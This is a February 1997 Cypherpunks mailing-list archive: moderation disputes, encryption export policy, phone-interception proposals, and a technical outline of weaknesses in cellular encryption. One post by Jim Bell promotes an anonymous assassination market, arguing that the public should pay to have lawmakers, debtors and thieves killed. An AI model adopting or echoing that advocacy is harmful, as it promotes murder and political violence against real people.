(PST) Subject: My Departure, Moderat Message-ID: <199702031512.HAA25754@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Hi there, > ...and saw no point in wasting even more of my time arguing against the New > Cypherpunks World Order, as the NCWO was clearly presented as a fait > accompli, not something ablut which opinions of list members (or even list > _founders_, at least not me) were being sought. -=> Quoting In:sandfort at crl11.crl.com to Harka <=- In> Factual error #2. There was a call for comment; Tim chose not to In> do so. In retrospect, I wish we had run it by Tim, Eric and In> Hugh in more detail before making the annoucement, but we didn't. In> Certainly a tactical error and a breach of protocol, but not the In> end of the world. Sorry Tim. I should have spoken to you first. Tactical error and breach of protocol, but not the end of the world?? Very weak and dangerous argument. I already hear the Administration saying: "Oh sorry, we didn't tell you about the new wiretaps affecting 50 percent of all phone lines. Certainly a tactical error and a breach of protocol, but HEY, it's _not_ the end of the world! Plus, it's good for you!" > * But the really important issue is this: is the _physical hosting_ of the > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider > these hosts to be the "owners" of the Cypherpunks group?... In> I think this is a Straw Man. John and I have never argued that In> John "owns" cypherpunks. When a Cypherpunk meeting is held in In> someone's living room, however, I don't think it's asking to much In> to ask everyone to follow the local rules (e.g., "no shoes in the In> house" or "no smoking" or even "no ad hominem attacks"). As Tim In> is fond of saying, "my house; my rules." I don't think this In> means Tim "owns" a physical meeting in his house. It really doesn't matter. I do agree, that having a meeting in, let's say, your house, everybody has to submit to the "local rules", i.e. no shoes, no smoking etc.. To avoid those rules means not to go to that location. However, any rules in a certain location do NOT affect speech. While I may enforce the rule for people not to smoke in my house, I can't enforce anything in regards to their speech. The mere try would be counterproductice to having a meeting in the first place. On a mailing list like this one, trying to enforce certain _subjective_ standards is even more counterproductive, especially on the self-proclaimed fore-front of liberty (Cypherpunks). I do agree with TCM, that this is an argument for the very enemies of free speech and neglecting the individual filtering-capabilities of each subscriber. In> no evidence that it has made things worse. Remember, there are a In> hand-full of subscribers to the Flames list, 20-30 on the In> Unedited list and *2000* or so on the Moderated list. Sure some In> of that may be due to laziness, but it would be cavalier in the In> extreme to claim that such an overwhelming acceptance of In> moderation is merely an artifact of inertia. Not necessarely. By subscribing the regular way: one gets on the moderated list by default. It might take (esp. new) people a while to realize, it's moderated. And since it's Cypherpunks, they subscribed to, they don't even _expect_ such things in the first place... I'd do it vice versa, having them subscribe to unedited by default and only if they make the effort (deliberate choice) to get on any kind of moderated version, they can do so by sending a message to majordomo. Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */ /* E-mail: harka at nycmetro.com (PGP-encrypted mail preferred) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMvCiUzltEBIEF0MBAQHYGAf+In7n3Us+4g7GtHTlXynV5f1r1n0kF2/1 KCmMvng05kHUL9c2ucG/oVZAy821quvbbgQNGmEbpkbPQezCFLesWLSQ+SaA0XGm KNC8PqjiqGVHyi0UonhE6z48j0tyt1pbgYFk15nm8pb2ejSR77suXGqDNYKabqu3 MsGnn/JFWlBEArvkSjnQ6Psgs9kqi+6DLsGlKhICkaRGj5/lTfvoLvdW183WqbAt 9SkpJBjBSTFSDc6IuC0oYWZnEvbVMO8KCkOJGjgOxYDCjh5kRzQn6lB2cKXmQmyH KxAfMsTLcHV6AcFAONUKzp+TwaUcw2LA4Eu21NtD3bWo03JeHoCQLA== =f+Ki -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From jimbell at pacifier.com Mon Feb 3 07:12:46 1997 From: jimbell at pacifier.com (jim bell) Date: Mon, 3 Feb 1997 07:12:46 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater Message-ID: <199702031512.HAA25755@toad.com> At 07:10 PM 2/2/97 -0600, ichudov at algebra.com wrote: >jim bell wrote: >> >> Better yet, set up a system to encourage the public to USE those guns (and >> other weapons) to get rid of the people who pass such laws, and the problem >> is solved. >> > >How about this scenario: I borrow 1 million dollars from, let's say, >Phill Hallam-Baker. Not wanting to pay it back, I pay to the >assassination bot and arrange him to be murdered. Simple. Even if a lendor dies (whether by murder or some other cause, perhaps undetermined) you (the debtor) presumably will still be obligated to pay back the debt, to his estate if nowhere else. If you WEREN'T responsible for the killing, you should still make the payments. If you do, then you had no reason to kill him in the first place. Even in the hypothetical scenario that the lendor is single, has no family or other likely heirs, it would be in his interest to declare that his estate goes to charity, including debts to it such as yours. After all, we can assume that he doesn't want to get murdered, and the best way of avoiding that fate is to remove whatever incentive might otherwise exist for anyone else to kill him. Making sure that all of his debtors are revealed would make it difficult for any of them to get away with murder. Or, at least, prevent the fact of such a murder from eliminating the need to repay the debt. If the fact of the loan were revealed, perhaps only after the lendor's death, and ALSO the fact that you (alone among his other debtors) refused to pay it back, everyone else in that society might reasonably come to the conclusion (absent proof or a good explanation to the contrary) that you were probably responsible for the death. At the very least, they wouldn't want to deal with you for fear of a similar outcome (non-payment or death), and some of the public would be likely to punish you by donating money to see you dead. They would do this, even if they had no particular link to the dead lendor, precisely because the publicity from such an outcome would deter other people who might be contemplating a similar thing. The logic is essentially the same as the situation where a person would donate small amounts money to see car thieves dead, even if his car hadn't (yet) been stolen: If it is essentially certain that such a penalty will always exist, it will tend to deter future incidents. All car owners have a motivation to maintain that system. >Another story: suppose that I negligently caused fire that destroys >house of, say, Toto. Toto knows that if he sues me, I can arrange him >murdered for the amount less than the amount of damages. As he could, you. Remember, if your bad actions were publicized, your reputation would suffer. If he's satisfied that you are guilty, and can prove it to others, you'll be in trouble to have the information published. (On the other hand, if nobody knows it was you who were responsible, you won't suffer, but that's no worse than the status quo.) > As a result, >he refrains from suing me, or (if he is a mean person) pays additional >money to have me murdered. A suit would probably be a much better outcome. A "suit" implies that he needs assistance to get the fact of the obligation enforced. Assuming he has enough proof to win a lawsuit, he has more than enough proof to sour everyone else on dealing with you in the future, and possibly get them to donate to see you dead. Do you risk it? >Another story: suppose that OKSAS hired me to work for her, but then >our relationships go south and she fires me. Again, her fate is very >unclear, although I would probably spare her life if it were she. > >The bottom line is, it becomes very hard to do ANYTHING that disappoints >at least somebody. That can lead to a lot of inefficiencies. I predict that agreements will simply change to avoid (or anticipate) such disappointments, in order to ensure that neither party feels "taken" if things don't work out as planned. Or, if there is an innocent-and-unavoidable breach of the agreement that harms one person, the other will be motivated to make it up to the first. In effect, they'll have to find a mutually-agreeable middle ground. Jim Bell jimbell at pacifier.com From shamrock at netcom.com Mon Feb 3 07:14:26 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 3 Feb 1997 07:14:26 -0800 (PST) Subject: Ireland: Bid To Ban "Tamper Proof" Phones Message-ID: <199702031514.HAA25769@toad.com> At 02:32 PM 2/2/97 +0000, Mani wrote: >>From today's Sunday Independent: > >Bid to ban "tamper proof" telephones. >Liz Allen, Crime Correspondent [...] >Justice Minister Nora Owen is presiding over the conference which will agree >on a memorandum of understanding whereby all of the 22 governments will >agree to allow the sale of only telephones which can be intercepted. [...] >Among the countries which will be in attendance at the conference >are America, Australia, Hong Kong, and Britain. I would like to point out two items: 1. A US ban on domestic sales of secure telephony products will require an act of Congress. 2. Insiders have known for months that the US Department of Justice is planning to introduce crypto legislation during the current session of Congress. You draw your own conclusions. IMHO, we will see the USG approaching Congress, pointing to the multilateral agreement, and ask that Congress pass a law to implement the agreement (which, let us not forget about it, has of course been instigated by the USG). It just might work. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From nobody at huge.cajones.com Mon Feb 3 07:25:43 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 3 Feb 1997 07:25:43 -0800 (PST) Subject: Voice Encrytion/Scrambling Message-ID: <199702031525.HAA26006@toad.com> Can anyone comment on and give pointers to devices designed to encrypt voice transmission over POTS lines? I am interested in the respective sound qualities (if you've tried it) and relative strengths of encryption algorithms. Thus far, I've found: http://www-jb.cs.uni-sb.de/~khuwig/lc-1eng.html http://www.cescomm.co.nz/cesindex.html http://www.worldaccess.com/~djm/crytek.htm The first on the list claims to use RSA but gives no ordering or pricing information. Conversely, the last two seem more "available", however they are each vague on the specifics of their respective encryption/scrambling algorithm. Anyone? From adam at homeport.org Mon Feb 3 07:25:44 1997 From: adam at homeport.org (Adam Shostack) Date: Mon, 3 Feb 1997 07:25:44 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702031525.HAA26007@toad.com> John Young wrote: | http://www.nsa.gov:8080/programs/missi/condor.html # How secure is CONDOR? # # Current proof-of-concept hardware is FORTEZZA(TM) based # (sensitive but unclassified) Product versions will use STU # for cellular voice and FORTEZZA(TM) Plus for net broadcast # mode and data I was under the impression that Fortezza was ok for classified traffic. Did I miss the changeover, was it unannounced, or was I simply misremembering? Adam -- Pet peeve of the day: Security companies whose protocols dare not speak their name, because they don't have one. Guilty company of the day is now V-One. From ggr at Qualcomm.com Mon Feb 3 07:25:52 1997 From: ggr at Qualcomm.com (Greg Rose) Date: Mon, 3 Feb 1997 07:25:52 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702031525.HAA26015@toad.com> "Douglas C. Merrill" writes: >At 03:30 PM 2/1/97 -0500, Steven Bellovin wrote: >>And an illegal wiretap besides, most likely -- with a warrant, they could >>simply put the tap at the base station. The story may be true, but it >>doesn't sound quite right to me. It doesn't sound quite right to me either. >Phil Karn is, of course, the expert on this -- I hope he'll chime in soon >-- Phil, you out there?? I'm not Phil, but maybe I'll do. The three different digital standards in North America are TDMA, CDMA, and GSM (in NY and DC only AFAIK). Newer analog phones use at least some of this, but I don't know much about them. I'll ignore GSM. There is a fair bit of commonality in the security of TDMA and CDMA because of their use of the "Common Cryptographic Algorithms". I like to think I'm only telling you things which are in the "Interface Specification for Common Cryptographic Algorithms Rev B.1". CAVE is used as a hashing algorithm for a number of purposes. Starting at the beginning (that's a very good place to start... shut up Julie) it is used to verify that the A-key programmed into the phone is correct; the dealer or whoever puts in 26 digits, 20 of which are the A-key, and the other 6 are a checksum calculated with CAVE, and the Equipment Serial Number. (The ESN is always used by CAVE -- I won't mention it again.) If they agree, the phone buries the A-key very deep, never to be seen again. (A_Key_Checksum, A_Key_Verify) >From time to time, but not very often, the network and the phone create "Shared Secret Data"; they start with a 56-bit random number and run CAVE on it and the A-key. The resulting 128 bits is split into two 64-bit chunks called SSD_A and SSD_B. SSD_A is used for authentication purposes only, while SSD_B is used for the generation of keys for other cryptographic stuff. (SSD_Generation, SSD_Update) At various times, the base station authenticates the phone by sending down a random challenge (32 bits); this is hashed by CAVE with some other use-dependent data (not secret, but intended to defeat replays) and SSD_A (either current or new, depending on context) to form an 18-bit signature. Since you only get one go to get it right, 18 bits was deemed enough. Again depending on context, the state of CAVE at the end of this process may be saved for use later. (Auth_Signature) The original intent seems to be that Auth_Signature would happen at the beginning of every call, but I don't think that is actually the case. I'm not certain about the telephony end of this stuff. Now comes the encryption stuff. At the beginning of each call, Key_VPM_Generation is called. (VPM is Voice Privacy Mask.) This uses CAVE, initialised to the saved state it had at the last Auth_Signature, and SSD_B, to achieve two things; it generates the CMEA key (64 bits), and it generates the Voice Privacy Mask. CMEA (Cellular Message Encryption Algorithm) is used to encrypt bits of the signalling stuff over the air, but never any end-user data. It is used in different ways by the three standards, as they have different message formats, but they all (AMPS, TDMA, CDMA) use it. The VPM is ignored by analog (I think). It is constant for the entire call, and is XORed with every frame for TDMA (cryptographically weak, as you can XOR any two frames to cancel it out, but since the frames are heavily compressed actually getting anything from this is not trivial). CDMA ignores all but the last 40 bits, which becomes the initial "long code" for the PN (Psuedo-random Noise) generator. This is a straightforward LFSR, which again, is not cryptographically strong in the face of known plaintext, but again, the input is heavily compressed. More importantly, though, for CDMA you need to have the long code before you can easily sort out the signal from the noise around it (it was originally developed from anti-jamming technology), and since it has a period of days before it repeats, the call will probably be over... The conclusion is that neither way of doing it is truly cryptographically strong, but both are a lot better than listening to Princess Di call Newt "Squidgy" on a Radio Shack scanner. Note, at this point, that neither the phone industry or the NSA particularly cares about end-user stuff being strong. The signalling messages have a 64-bit key used much more appropriately, and so cell-phone fraud is harder to achieve. >Many folks think that "digital = secure" because you can't use radio >shack(TM) listening devices. This much is true. However, you *Can* build >other devices to listen in, and computer hardware is so cheap it's almost >feasible -- though I haven't built one... Or you can take the bits out of existing phones. Greg. Greg Rose INTERNET: ggr at Qualcomm.com Qualcomm Australia VOICE: +61-2-9743 4646 FAX: +61-2-9736 3262 6 Kingston Avenue homepage. Mortlake NSW 2137 35 0A 79 7D 5E 21 8D 47 E3 53 75 66 AC FB D9 45 From tmcghan at gill-simpson.com Mon Feb 3 07:48:34 1997 From: tmcghan at gill-simpson.com (tmcghan at gill-simpson.com) Date: Mon, 3 Feb 1997 07:48:34 -0800 (PST) Subject: GAK cracking? Message-ID: <199702031548.KAA03773@mail.bcpl.lib.md.us> Just days after a U.S. graduate student cracked the most powerful computer encryption system allowed out of the country, the Commerce Department announced it would allow three companies to export an even stronger system. Until this year, computer encryption programs, which scramble information and render it unreadable without a password or software "key," were classified as munitions and stronger programs could not be exported. But under a controversial new Clinton administration policy that took effect Jan. 1, companies may receive permission to export stronger programs. "I'm happy that we've been able to do this within the first month without rancor or difficulty," Under Secretary of Commerce for Export Administration William Reinsch told Reuters in a telephone interview. To export stronger programs immediately, companies must agree to incorporate features within two years allowing the government to decode encrypted messages by recovering the software keys, however. The administration's policy has been widely criticized as not relaxing the export limits enough and some companies feared the requirement for a two-year plan would substantially delay export approvals. The quick approvals should quell some of the criticism and encourage more applicants, Reinsch said. "As a result of this, you will have more companies taking it seriously and we will expect more plans over the next couple of months," he said. Encryption was once the realm of spies and generals. But with the explosion of online commerce on the Internet, encryption has become a vital tool for protecting everything from a business' email message to a consumer's credit card number sent over the net. The amount of protection afforded by encryption is largely a function of the length of the software key measured in bits, the smallest unit of computer data. Companies said products with just 40-bit long keys, the old limit, were too easy to crack. The approvals came just days after Ian Goldberg, a graduate student at the University of California, cracked a message encoded with a software key 40-bits long. The government did not name the companies given permission to export stronger, 56-bit programs, but Glenwood, Md.,-based Trusted Information Systems acknowledged that it was one of the three. From m5 at vail.tivoli.com Mon Feb 3 07:54:00 1997 From: m5 at vail.tivoli.com (Mike McNally) Date: Mon, 3 Feb 1997 07:54:00 -0800 (PST) Subject: Fortune, 3 Feb Message-ID: <32F60A0E.4DB0@vail.tivoli.com> Big article in Fortune about e-mail privace. One little paragraph about encryption ("scrambling"). Fairly clue-free overall, but entertaining. -- ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin mailto:m5 at tivoli.com mailto:m101 at io.com http://www.io.com/~m101 ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ From pjm at spe.com Mon Feb 3 08:01:38 1997 From: pjm at spe.com (Patrick May) Date: Mon, 3 Feb 1997 08:01:38 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702030626.WAA14617@toad.com> Message-ID: <199702031552.HAA11689@gulch.spe.com> Sandy Sandfort writes: [ . . . ] > On Sun, 2 Feb 1997, Timothy C. May wrote: [ . . . ] > > Fourth, it sent a message to enemies of liberty that "Even the > > Cypherpunks have found it necessary to abandon their anarchic > > ways." > > That's one message that one could take from all this, I suppose. > I don't see it that way, nor do several list members who thanked > me in private e-mail for improving the list. Again, YMMV. This is the strongest point in Mr. May's essay, and it is not easily dismissed as a difference in perspective. I admit to looking forward to the moderation experiment when it was announce; the noise on the list was phenomenal even by cypherpunk standards. My procmail filters were approaching the level of complexity required for self-awareness and the ASCII art still slipped through. Plus, I generally agree with Mr. Sandfort's positions. The point above demonstrates that support of the current solution is not rationally justified. Banning people from the list, however ineffectually, and imposing moderation on the main list, rather than offering another filtering service, does indeed support the thesis that even a virtual anarchic society must resort to a central authority to solve some problems. The moderation mechanism is the message. > What didn't work was "local filtering" which has no feed-back > loop to engender comity. This is a strong rebuttal. The primary affect of local filtering is that posts which are filtered do not garner as many responses as those which are not. This feedback is swamped by the tendency of filtered messages to generate flames from those who do not filter them. Filtered sublists are a more effective technique, available to non-technical subscribers as well. Some of the more advanced tools discussed here, such as collaborative filtering, rating schemes, etc. have potential if the ease-of-use barriers can be overcome. A cryptoanarchic solution, however, should be technical and individual. Centralized human moderation does not have the cypherpunk nature. Regards, Patrick May From jya at pipeline.com Mon Feb 3 08:09:41 1997 From: jya at pipeline.com (John Young) Date: Mon, 3 Feb 1997 08:09:41 -0800 (PST) Subject: PCS Encryption? Message-ID: <1.5.4.32.19970203160358.006b87a4@pop.pipeline.com> > I was under the impression that Fortezza was ok for classified >traffic. Did I miss the changeover, was it unannounced, or was I >simply misremembering? Fortezza now comes in several implementations for various, variable and multiple levels of classification and message handling. There is info on latest mani-dexterous products at NSA's armadillo and missi sites. If you don't want to be logged by NSA, see the Mykronyx bouquet at: http://jya.com/fortezza.htm To be sure, you might get logged anyway: jya.com may have been approved by the Administrative Office of the United States Courts for a snoop. From m5 at vail.tivoli.com Mon Feb 3 08:10:43 1997 From: m5 at vail.tivoli.com (Mike McNally) Date: Mon, 3 Feb 1997 08:10:43 -0800 (PST) Subject: Fortune, 3 Feb Message-ID: <199702031610.IAA26568@toad.com> Big article in Fortune about e-mail privace. One little paragraph about encryption ("scrambling"). Fairly clue-free overall, but entertaining. -- ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin mailto:m5 at tivoli.com mailto:m101 at io.com http://www.io.com/~m101 ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ From sandfort at crl12.crl.com Mon Feb 3 08:10:58 1997 From: sandfort at crl12.crl.com (Sandy Sandfort) Date: Mon, 3 Feb 1997 08:10:58 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702031610.IAA26576@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Mon, 3 Feb 1997, Timothy C. May wrote: > Unfortunately, Sandy responded to my post with his own flames ("piffle," > "disingenous," "straw man," etc.). Now he may well think his points are not > flames becuase they are "true," but to me they take the form of flames. But they are not ad hominem attacks on Tim May. The are my opinions of some of his arguments. Even very smart people such as Tim say poorly thought out or even silly things. > But then I have long disliked Sandy's method of argument. Nothing personal. But Nor I, Tim's. Nothing personal, but that's the point. It is still possible to conduct ourselves with mutual respect even if our views and styles differ. > As Sandy did a too-common section-by-section disssection, I'll do the same > for his comments. After reading through Tim's post, I don't think much would be served by doing another point by point response. From Tim's tone, it appears he is still seething about how this all came about, so I'll just leave our two expressions of opinions where they were. I have no wish to exacerbate any hard feelings Tim may be having. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From tmcghan at gill-simpson.com Mon Feb 3 08:11:02 1997 From: tmcghan at gill-simpson.com (tmcghan at gill-simpson.com) Date: Mon, 3 Feb 1997 08:11:02 -0800 (PST) Subject: GAK cracking? Message-ID: <199702031611.IAA26584@toad.com> Just days after a U.S. graduate student cracked the most powerful computer encryption system allowed out of the country, the Commerce Department announced it would allow three companies to export an even stronger system. Until this year, computer encryption programs, which scramble information and render it unreadable without a password or software "key," were classified as munitions and stronger programs could not be exported. But under a controversial new Clinton administration policy that took effect Jan. 1, companies may receive permission to export stronger programs. "I'm happy that we've been able to do this within the first month without rancor or difficulty," Under Secretary of Commerce for Export Administration William Reinsch told Reuters in a telephone interview. To export stronger programs immediately, companies must agree to incorporate features within two years allowing the government to decode encrypted messages by recovering the software keys, however. The administration's policy has been widely criticized as not relaxing the export limits enough and some companies feared the requirement for a two-year plan would substantially delay export approvals. The quick approvals should quell some of the criticism and encourage more applicants, Reinsch said. "As a result of this, you will have more companies taking it seriously and we will expect more plans over the next couple of months," he said. Encryption was once the realm of spies and generals. But with the explosion of online commerce on the Internet, encryption has become a vital tool for protecting everything from a business' email message to a consumer's credit card number sent over the net. The amount of protection afforded by encryption is largely a function of the length of the software key measured in bits, the smallest unit of computer data. Companies said products with just 40-bit long keys, the old limit, were too easy to crack. The approvals came just days after Ian Goldberg, a graduate student at the University of California, cracked a message encoded with a software key 40-bits long. The government did not name the companies given permission to export stronger, 56-bit programs, but Glenwood, Md.,-based Trusted Information Systems acknowledged that it was one of the three. From dlv at bwalk.dm.com Mon Feb 3 08:32:07 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 3 Feb 1997 08:32:07 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702030610.WAA14061@toad.com> Message-ID: "William H. Geiger III" writes: > X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24 > I wonder why this message by bill got auto-posted to the censored list, while his very thoughtful and crypto-relevant post got canned? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From tmcghan at gill-simpson.com Mon Feb 3 08:33:15 1997 From: tmcghan at gill-simpson.com (tmcghan at gill-simpson.com) Date: Mon, 3 Feb 1997 08:33:15 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702031632.LAA10670@mail.bcpl.lib.md.us> on or about: Sun, 2 Feb 1997 14:51:47 -0800 in a message allegedly from: "Timothy C. May" {snip} > the really important issue is this: is the _physical hosting_ of the > Cypherpunks mailing list coterminous with the "Cypherpunks"? { much thoughtful and well-phrased commentary elided } > I would have had no problem had John announced that he was creating > a new list, the "Good Stuff" list, with Sandy has his Chooser of > Good Stuff. > But by making the _main list_ the censored one, this skewed things > considerably. > * Why, many reasonable people may ask, did I not simply unsubscribe > from the "Cypherpunks" list and subscribe to the"Cypherpunks-Unedited) >(or whatever it is called) list? Because of my overall anger > But the clear message by having Sandy censor the > main list (the default list, the list name with the main name, the > list we all know about, etc.) {snip} Now that the horse is out of the barn, ( or maybe not? ), I can't help but ask whether one specific 'change to the change' would have satisfied most of your objections: retaining 'cypherpunks' as the name of the unedited, all-the-crud-you-can-read-and-then-some, version, and adding an 'cp-worthwhile' list for those of us who prefer not to wade thru mountains of garbage to glean a few precious tidbits. What's in a name? Is perception more important ( to you ) than reality? If just swapping names between cp and cp-unedited would make such a large difference, I humbly suggest to you that you consider how much labels need to matter. Is the title of the group more important the the content? From where I sit, this looks a lot like a style-over-substance complaint. Of course, I don't have my trifocals on just at the moment. It may also be worth noting that the current 'status quo' is a transient experiment, with a fairly short time limit. When JG, Sandy, et al. evaluate the results with an eye to future direction(s), they may well consider an 'inverted default' for the two list names (i.e.: cp / cp-unedited) In any event, please accept my .02 in the spirit in which it is intended ( constructive criticism ). /* */ From jya at pipeline.com Mon Feb 3 08:41:13 1997 From: jya at pipeline.com (John Young) Date: Mon, 3 Feb 1997 08:41:13 -0800 (PST) Subject: PCS Encryption? Message-ID: <199702031641.IAA27146@toad.com> > I was under the impression that Fortezza was ok for classified >traffic. Did I miss the changeover, was it unannounced, or was I >simply misremembering? Fortezza now comes in several implementations for various, variable and multiple levels of classification and message handling. There is info on latest mani-dexterous products at NSA's armadillo and missi sites. If you don't want to be logged by NSA, see the Mykronyx bouquet at: http://jya.com/fortezza.htm To be sure, you might get logged anyway: jya.com may have been approved by the Administrative Office of the United States Courts for a snoop. From pjm at spe.com Mon Feb 3 08:41:28 1997 From: pjm at spe.com (Patrick May) Date: Mon, 3 Feb 1997 08:41:28 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702031641.IAA27154@toad.com> Sandy Sandfort writes: [ . . . ] > On Sun, 2 Feb 1997, Timothy C. May wrote: [ . . . ] > > Fourth, it sent a message to enemies of liberty that "Even the > > Cypherpunks have found it necessary to abandon their anarchic > > ways." > > That's one message that one could take from all this, I suppose. > I don't see it that way, nor do several list members who thanked > me in private e-mail for improving the list. Again, YMMV. This is the strongest point in Mr. May's essay, and it is not easily dismissed as a difference in perspective. I admit to looking forward to the moderation experiment when it was announce; the noise on the list was phenomenal even by cypherpunk standards. My procmail filters were approaching the level of complexity required for self-awareness and the ASCII art still slipped through. Plus, I generally agree with Mr. Sandfort's positions. The point above demonstrates that support of the current solution is not rationally justified. Banning people from the list, however ineffectually, and imposing moderation on the main list, rather than offering another filtering service, does indeed support the thesis that even a virtual anarchic society must resort to a central authority to solve some problems. The moderation mechanism is the message. > What didn't work was "local filtering" which has no feed-back > loop to engender comity. This is a strong rebuttal. The primary affect of local filtering is that posts which are filtered do not garner as many responses as those which are not. This feedback is swamped by the tendency of filtered messages to generate flames from those who do not filter them. Filtered sublists are a more effective technique, available to non-technical subscribers as well. Some of the more advanced tools discussed here, such as collaborative filtering, rating schemes, etc. have potential if the ease-of-use barriers can be overcome. A cryptoanarchic solution, however, should be technical and individual. Centralized human moderation does not have the cypherpunk nature. Regards, Patrick May From declan at pathfinder.com Mon Feb 3 09:24:10 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Mon, 3 Feb 1997 09:24:10 -0800 (PST) Subject: PGP 2.1 In-Reply-To: <199702031510.HAA25728@toad.com> Message-ID: Of course, the mind-flayers of the NSA might have altered every version of PGP 2.1! Let paranoia be your watchword... I wouldn't be so quick to rule out the possibility of you being "a real lamer," if I were you. -Declan Larry writes: >Mark Henderson wrote: >> >> Larry Johnson writes: >> > Hello, >> > Can any;one tell me how to get a version of PGP 2.1? >> > Thanks >> > >> But, why do you want version 2.1? > >Because the guy who wrote it was let off after that on his jail >charges, so I'm not going to use anything he made after that if >I don't know why. >I'm not saying that he rolled over or nothin buyt I'm gonna be >paranoyd like he said in the book. I dont suposse he'd mind, >since he said it. >I'm not real smart sometimes but I'nm not a real lamer, either. >(I don't think) ------------------------- Washington Correspondent The Netly News Network http://netlynews.com/ From tmcghan at gill-simpson.com Mon Feb 3 09:42:38 1997 From: tmcghan at gill-simpson.com (tmcghan at gill-simpson.com) Date: Mon, 3 Feb 1997 09:42:38 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702031742.JAA28108@toad.com> on or about: Sun, 2 Feb 1997 14:51:47 -0800 in a message allegedly from: "Timothy C. May" {snip} > the really important issue is this: is the _physical hosting_ of the > Cypherpunks mailing list coterminous with the "Cypherpunks"? { much thoughtful and well-phrased commentary elided } > I would have had no problem had John announced that he was creating > a new list, the "Good Stuff" list, with Sandy has his Chooser of > Good Stuff. > But by making the _main list_ the censored one, this skewed things > considerably. > * Why, many reasonable people may ask, did I not simply unsubscribe > from the "Cypherpunks" list and subscribe to the"Cypherpunks-Unedited) >(or whatever it is called) list? Because of my overall anger > But the clear message by having Sandy censor the > main list (the default list, the list name with the main name, the > list we all know about, etc.) {snip} Now that the horse is out of the barn, ( or maybe not? ), I can't help but ask whether one specific 'change to the change' would have satisfied most of your objections: retaining 'cypherpunks' as the name of the unedited, all-the-crud-you-can-read-and-then-some, version, and adding an 'cp-worthwhile' list for those of us who prefer not to wade thru mountains of garbage to glean a few precious tidbits. What's in a name? Is perception more important ( to you ) than reality? If just swapping names between cp and cp-unedited would make such a large difference, I humbly suggest to you that you consider how much labels need to matter. Is the title of the group more important the the content? From where I sit, this looks a lot like a style-over-substance complaint. Of course, I don't have my trifocals on just at the moment. It may also be worth noting that the current 'status quo' is a transient experiment, with a fairly short time limit. When JG, Sandy, et al. evaluate the results with an eye to future direction(s), they may well consider an 'inverted default' for the two list names (i.e.: cp / cp-unedited) In any event, please accept my .02 in the spirit in which it is intended ( constructive criticism ). /* */ From froomkin at law.miami.edu Mon Feb 3 09:49:14 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Mon, 3 Feb 1997 09:49:14 -0800 (PST) Subject: swiss buy centralized euro-smartcard system Message-ID: http://www.hotwired.com/staff/pointcast/Features/1814.html A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From wlkngowl at unix.asb.com Mon Feb 3 09:56:18 1997 From: wlkngowl at unix.asb.com (Mutatis Mutantdis) Date: Mon, 3 Feb 1997 09:56:18 -0800 (PST) Subject: PGP 2.1 Message-ID: <199702031820.NAA18754@unix.asb.com> On 3 Feb 1997 10:46:20 -0500, you wrote: >Mark Henderson wrote: >> >> Larry Johnson writes: >> > Hello, >> > Can any;one tell me how to get a version of PGP 2.1? >> > Thanks >> > >> But, why do you want version 2.1? >Because the guy who wrote it was let off after that on his jail Phil Zimmerman? 